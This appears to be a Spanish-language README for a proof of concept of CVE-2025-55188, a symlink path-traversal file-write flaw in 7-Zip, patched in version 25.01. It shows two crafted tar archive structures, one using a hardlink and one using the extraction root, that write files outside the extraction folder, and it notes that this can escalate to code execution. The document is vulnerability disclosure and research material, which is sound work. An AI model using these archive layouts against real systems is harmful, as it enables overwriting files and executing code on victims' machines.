
Prueba de concepto de CVE-2025-55188: escritura arbitraria de archivos en 7-Zip
Prueba de concepto de CVE-2025-55188, una escritura arbitraria de archivos en 7-Zip. Parcheado en la versión 25.01, publicada el 3 de agosto de 2025.
Nota: CVE-2025-55188 es diferente de CVE-2025-11001.
La versión en la que se parcheó CVE-2025-11001 (versión 25.00) sigue siendo vulnerable a la ejecución arbitraria de código mediante ataques de enlaces simbólicos debido a CVE-2025-55188.
CVE-2025-55188 fue descubierto y publicado antes de la publicación de CVE-2025-11001.
Consulte https://lunbun.dev/blog/cve-2025-55188/ para una explicación y análisis más detallados.
La vulnerabilidad es bastante sencilla.
El path traversal se realiza mediante enlaces simbólicos para escribir archivos arbitrariamente. A partir de ahí, la escritura arbitraria de archivos puede escalarse a ejecución arbitraria de código escribiendo en archivos críticos.
El path traversal por enlaces simbólicos es posible debido a un caso límite en las comprobaciones de seguridad de enlaces simbólicos. Encontré dos formas de hacerlo. Consulte la publicación del blog para más detalles.
El siguiente archivo .tar escribirá en ../a/b/file.txt al extraerlo:
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/link -> ../a/b
hrwxr-xr-x 0/0 0 1969-12-31 16:00 link link to a/link
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_hardlink contiene código que utiliza el método de hardlink.
El siguiente archivo .tar escribirá en ../file.txt al extraerlo (solo en Linux):
$ tar -tvf write.tar
lrw-r--r-- 0/0 0 1969-12-31 16:00 a/b/link -> /a
lrw-r--r-- 0/0 0 1969-12-31 16:00 link -> a/b/link/../../
-rw-r--r-- 0/0 44 1969-12-31 16:00 link/file.txt
poc_extraction_root contiene código que utiliza el método de raíz de extracción.